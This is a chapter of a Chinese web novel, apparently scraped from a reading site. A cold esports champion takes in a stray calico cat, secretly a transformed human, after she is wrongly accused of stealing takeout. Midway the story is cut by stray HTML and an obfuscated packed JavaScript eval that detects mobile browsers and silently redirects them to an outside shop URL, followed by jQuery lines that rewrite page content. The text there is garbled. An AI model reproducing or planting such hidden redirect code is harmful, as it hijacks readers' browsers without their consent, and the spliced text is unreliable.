第十一章。
话音刚落,小三花整只猫都愣住了。
她抬起小脑袋,圆溜溜的眼睛呆呆的盯着他,像没听懂,又像被冲击到了,连尾巴也不甩了。
章煜看着季屿风,莫名犯怵。
神情不受控制的紧张起来。
他个子一米七八,在南方算高,但眼前这人比他高大半个头,目测有一米八八。
身高上就很有气势,再配上那张冷冰冰的脸,哪怕语调平静,说话也像是在威胁人。
仿佛不按他说的做,就会发生什么很不妙的事。
“那个……这、这猫真是你的?这猫是你的吗?”章煜发现怀里的小猫和自己一样,浑身僵硬。善良的大学生下意识地怀疑道。
季屿风没说话。
下一秒,季屿风看到,刚才像灵魂出窍的小三花突然回神,用力挣扎,圆眼睛盯着季屿风,发出急促又响亮的“喵!喵喵!”声。
“……”
章煜一松手。
“扑通”一声,小三花落地,四爪刚沾地,就毫不犹豫地“嗖”一下窜到季屿风腿边。
围着他绕了小半圈,仰着脑袋继续叫,尾巴竖直。
季屿风垂眼。
小三花背上的毛灰扑扑的,沾着草屑和结垢的泥土。
而打扮清爽、干净的季屿风真就屈膝蹲下,把她抱了起来。
刚才还缩着脖子、试图降低存在感的小三花,一钻进主人怀抱,立刻仗势欺人进来。
她扭头,愤怒地朝章煜哈气,骂骂咧咧,喵嗓洪亮。
听起来词汇量相当丰富。
章煜:“……?”
章煜看了一眼季屿风,季屿风撩起眼帘,脸上全无表情。
一副“这事我管不了”的样子。
“……”
章煜抹了一把脸,决定当没看到。
他回归正题,“算了算了,猫的事不提了。你就赔我外卖钱吧,也不多,就八十。”
不说还好,一谈起这事,小三花喵得更凶。
她身上的毛都炸开了,气得像个河豚,用前爪拍打季屿风的手臂,委屈道,“喵嗷——喵!”
[他在污蔑咪!]
季屿风垂着眼,看了看自己绒服袖子上多出来的几个小梅花印。
停顿两秒,抬手随意拍了拍,语气没什么波澜,“我可以赔。”
随后,季屿风问了章煜,是什么外卖。
一听他真要赔,小三花急得用两只前爪抱住了他的手腕,紧紧扒拉着,仰着小脑袋,咧开小猫嘴,“喵呜!”
[咪没偷外卖!不能赔!不许赔!]
章煜松了口气,“那……”
“但得先调监控确认。”季屿风语气是不容置疑的平静。
小三花一愣,喵呜声戛然而止。
章煜脸色有些不好看,“你什么意思?难道我还会故意讹你这点钱不成?”
季屿风只是淡淡的说,“如果真是她干的。”
他目光扫过怀里瞬间竖起耳朵的小猫,“我赔你十倍。”
他抬眼再度看向章煜,依旧平静,却很有分量,“可如果是你误会了……”
他掂了掂臂弯里的小三花,“给猫道歉。”
……
去保安室的路上。
章煜忍不住偷偷用余光打量季屿风,一开始就觉得很眼熟,以为是个刚出道的小艺人,这会儿终于想起来了。
Sever?!
作为现役电竞选手中公认的传奇,兼门面,Sever身上冠军的荣光本就耀眼夺目,再加上那张仅靠赛场抓拍和官方硬照就屡次出圈的脸。
他出道以来就一直处于话题中心。
十个男生里,至少有七个人关注职业联赛,没人没听过Sever的大名。
而章煜就是这种路人粉。
章煜去年兼职攒了点钱去看总决赛,还没进场馆,就被场外Sever粉丝那铺天盖地的应援阵仗震撼到了。
入场后,应援旗、灯牌、手幅汇成一片沸腾的海洋。
当Sever本人出场时,现场爆发出整晚最狂热的声浪。
然而,季屿风身处那片为他而亮的璀璨灯海中央。
没有任何自得,甚至没多少情绪起伏。
他点点头,彬彬有礼,却疏冷,像天边抓不住的一缕流云。
和他赛场上侵略如火、锋芒毕露的风格,截然不同。
用女友粉的话来说,这就叫反差。
当时章煜不懂反差是什么。
现在他倒是懂了。
在保安室调出监控,确认是狸色美短偷走外卖之后。
小三花精神一振,瞬间威风起来,还试图顺着季屿风的胳膊往上爬,看样子是想占领制高点,来宣示胜利和清白。
可惜中途被一只无情大手轻轻拦下,按回臂弯。
“喵呜!”她不服气地仰起头,碧绿的猫眼亮晶晶的,盯着季屿风,尾巴高高翘起。
[看吧,咪没偷!]
季屿风嗯了一声,瞥了她一眼,目光却很快又落回监控屏幕上。
他按了按鼠标,似乎在快进回看,确认什么。
小三花察觉到他周身的气压有些低。
奇怪,都证明咪的清白了,他还在看什么?
“唉,小流浪,被误会了,真可怜。”保安看了眼屏幕,随口感慨,“这些没家的毛孩子,本来就是饥一顿饱一顿的,不然也不至于……”
季屿风垂下眼,沉默地盯着屏幕里那只因为被哈气,而略显狼狈退开的小三花。
他很轻地蹙了下眉,微不可察。
片刻后,他突然开口,声音很低,是对怀里小猫说的,“你在外面,经常饿肚子?”
我……我饿肚子了吗?
小三花有种灵魂出窍般的茫然。
她下意识回想:早上有宠物店的冻干,中午有学生投喂的火腿肠,下午还能去PX大楼下碰运气……好像……额……也没有很饿?
但此刻,误会咪的坏人神色尴尬,旁边几个围观大学生目光里充满了同情和怜爱,连保安大叔都在叹气。
气氛都烘托到这了。
小三花忽然觉得自己……也不是不可以“可怜”一下。
她迅速进入角色,顶着季屿风那双漆黑深沉、又有几分柔软的眼眸。把小脑袋往他衣领狸一钻,一副柔弱可怜、受尽委屈的小绿茶模样。
“喵呜~”
是的呀,咪好可怜。
要帮咪狠狠地惩罚那个坏人哦!
章煜脸上的尴尬快凝成实质。
季屿风看向他,没说话,但意思很明确。
章煜憋了憋,虽然觉得给猫道歉很荒诞,还是干巴巴地给小三花道了歉。
“喵嗷!喵——!”
小三花把脑袋拔出来,变脸似的,一秒切换成凶悍模式,冲他哈气。
一副“现在知道错了?晚了,咪不接受!”的嚣张架势。
章煜无奈,求助地看向季屿风。
季屿风刚好手机震了一下,他单手抱着猫,另一只手伸进口袋,拿手机。
抬手的时候,上一秒还在骂骂咧咧的小三花,下意识地、无比自然地用头顶去拱他的手。
拱完后,小三花觉得哪不对,自己都僵住了。
……她在做什么?
这不是咪的对家正主吗?
她不是要保持距离、维持高傲猫设吗?
小猫立刻若无其事地转过脑袋,扬起下巴,假装什么都没发发生,继续冲着章煜凶巴巴地哈气,
只是尾巴尖不自然地卷起来。
章煜:“……”
小猫这么会变脸吗?
还带中途撒娇的?
季屿风短暂地怔了一下,心脏像被羽毛挠了下。
他垂眸,盯着怀里那团毛球看了好几秒。
刚掏出的手,屏幕亮了又暗,他都没立刻去看。
十几秒后,面对章煜期待的目光,季屿风认真地说,“她好像不原谅你。”
章煜:“???”我给你眼神,不是这个意思。
我是让你管管!
好在季屿风电话响了,铃声执着。
他轻轻放下猫咪,出门接电话。
目送那道身影消失,小三花的气焰熄了大半,她有些无所适从,不哈气,也不喵喵骂人了,耷拉着飞机耳,安静地往墙角缩。
把自己团成一个存在感很低的毛球。
等季屿风回来,她飞快的窜到季屿风身后,从脚边探出半个脑袋和一双亮晶晶的绿眼睛。
然后狐假虎威地冲着章煜哈气。
季屿风垂下眼,看向脚边的小猫。
前一秒还在仗势欺人哈气的小三花,感受到视线,抬起下巴,眨着眼,柔弱又可爱地喵了一声。
仿佛在说:你看,他吓咪。
章煜真是服了这只小猫仗势欺人、变脸如翻书、还引以为傲的样子。
下一秒,他就接收到季屿风扫过来的一个冷淡眼刀。
明明没什么表情,却让他喉咙一紧。
小三花从季屿风身后探出头,得意地扬起小下巴,冲章煜眨了眨一边的眼睛。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026362|194428||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
哼,看到了吗?这就是咪的小弟(暂时)!
就问你怕不怕?
咪做的这一切,都是为了考验这个小弟。
看他会不会保护咪、听咪的话!
绝对不是因为咪自己有点怂……对!就是这样!
小三花转动目光,忽然注意到季屿风手上多了个外卖纸袋,那是……?
章煜也看到了,一喜,快步走过去,“哎呀,你怎么还真买了?这多不好意……”
季屿风抬了下胳膊,避开章煜伸过来的手。
然后,在所有人注视下,他俯身,把那个肯德基全家桶袋,放到小三花面前。
小三花懵逼地看着这堆庞然大物,用鼻子嗅嗅,“……?”
怎么回事?
难道他看出咪其实是人变的?知道咪怀念这个味道?
小三花竭力克制住快流出来的口水,维持着猫猫高贵冷艳的疑惑表情。
顿了两秒。
“是这个吗?”季屿风冷淡的嗓音从头顶传来,“刚才被那只美短抢走的?”
他没什么表情,平静道,“以后不需要去抢。”
“我给你买。”
*
大学的校门口。
卷毛和阿烬正凑在一起,盯着卷毛姐姐发来的一张粉丝超话截图。
两个脑袋几乎要撞上。
截图里,像素不算高的手机抓拍,画面中心是一身黑、气质冷峻的季屿风,而他怀里抱着一团毛茸茸,站在拥挤的粉丝堆里。
“p图恶搞?”
“AI生成?”
两人对视一眼,达成共识,假的,绝对是假的。
下一秒,他们抬头,看见那个刚接了个诈骗电话、匆忙离开的熟悉声音。
是季屿风没错。
而他怀里,真真切切,抱着一只……猫。
季屿风?猫?
“???”
正在喝水的卷毛呛到喷了出来,阿烬抹了抹下巴的水渍,没顾上反击,都目瞪口呆地望着这画面。
久久无法回神,直到季屿风面无表情地从走远,才想起来自己是来找他的。
“不是……他刚才……”
“Sever他居然……”
卷毛一拍大腿,恍然大悟,阿烬表情也有些难以启齿,带着发现惊天秘密的震撼。
“季哥原来是个猫奴深柜?”
“表面装得特别讨厌、特别不耐烦,其实心里爱得不行!”
“绝对是这样!他平时不敢暴露,是怕被人发现,破坏他冷拽酷哥的人设。”
……
小三花圆溜溜的眼睛,几乎黏在了季屿风手边那个随着步伐晃动的肯德基袋子上。
炸鸡、汉堡、薯条的香味扑鼻而来。
太久不当人,咪都快忘记炸鸡腿啃起来是什么感觉了,呜呜。
还在保安室时,小三花兴奋地差点扑上去,现场表演一个“恶猫开袋”,结果被季屿风拦住了。
什么意思?
只给咪看,不给咪花?
逗猫呢?!
走出校门,怀里的小三花开始不安分地扭动,爪子一下下挠着他的手臂,喉咙里发出不满的、催促般的喵呜声。
季屿风脚步一顿。
……小猫不耐烦了?
他垂眸,看了眼躁动的小毛球,没说什么,松开了手。
小三花轻盈落地,四爪站稳,第一件事不是跑开,而是伸出前爪,目标明确地去扒拉那个肯德基袋。
给咪!
那是咪的!
他亲口说的!
肯德基纸袋被拎得更高了。
季屿风慢条斯理地拍拍衣服上,刚被小猫蹭脏的部分。
“?”咪真的要闹了!
“我不强迫你,”季屿风居高临下的看着她,脸上没什么情绪。他微微弯腰,让视线和小猫平行,高大的身形依然带来压迫感。
“是选择自由,还是跟我走?”他说。
怎么就快进到“二选一”了?
这跨度是不是有点大?
小三花终于舍得把视线从肯德基袋子上挪开,转动脑袋,看向季屿风。
那张脸还是那么好看,也还是那么冷淡。
难道他以为,咪刚才不让他抱了,是想溜走?
天地良心!
咪只是想吃口肯德基。
小三花那张圆脸上出现了沉思的表情。
碧绿的猫眼看看袋子,又看看季屿风。
刚才,他救了咪。
他好像……并不讨厌咪。